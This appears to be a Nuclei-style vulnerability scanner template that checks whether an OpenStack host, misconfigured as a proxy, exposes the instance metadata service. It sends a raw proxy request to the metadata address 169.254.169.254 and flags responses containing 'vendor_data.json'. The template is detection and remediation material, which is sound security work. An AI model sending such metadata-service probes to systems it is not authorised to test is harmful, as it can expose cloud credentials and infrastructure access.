40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
|
id: metadata-service-openstack
|
||
|
|
|
||
|
|
# This attack abuses a misconfigured proxy that allows access to the metadata
|
||
|
|
# IP or a name which resolves to the IP. A standard proxy request is made to
|
||
|
|
# the proxy using the full metadata URL, which the proxy will fulfull to its
|
||
|
|
# own metadata sevice.
|
||
|
|
#
|
||
|
|
# The proxy may also be vulnerable to host/port enumeration on localhost or
|
||
|
|
# inside the private network.
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Openstack Metadata Service Check
|
||
|
|
author: sullo
|
||
|
|
severity: critical
|
||
|
|
description: The Openstack host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
|
||
|
|
remediation: Disable the proxy or restrict configuraiton to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
|
||
|
|
reference:
|
||
|
|
- https://docs.openstack.org/nova/latest/admin/metadata-service.html
|
||
|
|
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
|
||
|
|
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
|
||
|
|
tags: exposure,config,openstack,proxy,misconfig,metadata
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- raw:
|
||
|
|
- |+
|
||
|
|
GET http://{{hostval}}/openstack/latest HTTP/1.1
|
||
|
|
Host: {{hostval}}
|
||
|
|
|
||
|
|
payloads:
|
||
|
|
hostval:
|
||
|
|
- aws.interact.sh
|
||
|
|
- 169.254.169.254
|
||
|
|
|
||
|
|
unsafe: true
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: body
|
||
|
|
words:
|
||
|
|
- "vendor_data.json"
|